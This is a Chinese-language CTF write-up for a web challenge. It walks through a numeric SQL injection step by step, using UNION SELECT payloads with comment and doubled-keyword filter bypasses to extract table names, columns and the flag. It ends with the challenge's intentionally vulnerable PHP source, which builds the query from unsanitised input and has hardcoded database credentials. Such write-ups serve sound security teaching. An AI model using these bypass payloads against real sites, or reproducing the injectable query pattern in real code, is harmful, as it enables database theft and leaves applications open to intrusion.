2020-11-29 题型:web
1.打开网站后看到如图
这个界面是动态网页,右边控制台可以调节一些星点配置。
看的时间长了可能会头晕(哈哈物理攻击)
2.看到界面上有where flag??????
然后仔细看的话会发现左下边会有一个图片logo.png
这个图是故意暴露题型的web 中的SQL注入
(点开这个图片是一个素材网站,你懂得)
4.但是是否存在SQL注入呢,判断一下
首先了解一下
(字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。)
输入:?id=1
后界面正常显示 ?id=1'
后界面不显示
表明是数字型注入
5.然后开始SQL注入查询字段数
?id=1/**/ororderder/**/by/**/3
(因为正常的查询不行,猜测过滤,order和空格过滤了)
{尝试使用多行注释符(块注释符)
一对英文括号、换行符、加号来代替空格。快注释符/**/}
因为3这字段数有回显,然而4这没有
通过多次尝试有三个字段
6.查询那个字段有回显
?id=1/**/unIon/**/selEct/**/1,2,3
如图所示,2,3位是回显位
(这里把union和select和空格过滤了,详情向下见源码)
7.查询数据库名
?id=1/**/uNion/**/Select/**/1,2,database()
查到数据库名为 text
8.查询表名
?id=1/**/uNion/**/Select/**/1,2,group_concat(table_name)/**/frofromm/**/information_schema.tables/**/where/**/table_schema='text'
(过滤有点严重)
查询到表名flag和user
注意:
出题时看花了眼,from和form傻傻分不清楚
9.查询列表名
?id=1/**/uNion/**/Select/**/1,2,column_name/**/frofromm/**/information_schema.columns/**/where/**/table_name='flag'
列表名为 id 和 flag
(说明flag表名中有两个列表名,真flag应该在flag列表名中)
10.查询字段名
?id=1/**/uNion/**/Select/**/1,2,flag/**/frofromm/**/flag
11.得到flag{You have successfully!!!}
有点烧脑
附源码
<?php
$con=new mysqli("127.0.0.1","root","admin","test");
if(!$con){
die('数据库连接失败');
}
error_reporting(0);
if(isset($_GET['id']))
{
$id=$_GET['id'];
$regex1="/union/";
$regex2="/select/";
$regex3="/from/i";
$regex4="/ /i";
$regex5="/order/i";
if(preg_match($regex1, $id)){
echo "<font size='5'/>where flag???";
echo "<br>";
}
if(preg_match($regex2, $id)){
echo "<font size='5'/>where flag???";
echo "<br>";
}
if(preg_match($regex3, $id)){
echo "<font size='5'/>where flag???";
echo "<br>";
}
if(preg_match($regex4, $id)){
echo "<font size='5'/>where flag???";
echo "<br>";
}
if(preg_match($regex5, $id)){
echo "<font size='5'/>where flag???";
echo "<br>";
}
$id=preg_replace('/union/','5',$id);
$id=preg_replace('/select/','5',$id);
$id=preg_replace('/from/','',$id);
$id=preg_replace('/ /','',$id);
$id=preg_replace('/order/','',$id);
$result=$con->query("SELECT * FROM user WHERE id=$id");
while($row=mysqli_fetch_array($result))
{
echo '<font size="5"/>这是啥???'. $row['useranme'];
echo "<br>";
echo '这是啥???' .$row['passwd'];
echo "<br>";
}
}
else {
echo "<font size='5'/>where flag??????";
echo "</br>";
echo "</br>";
echo "</br>";
}
?>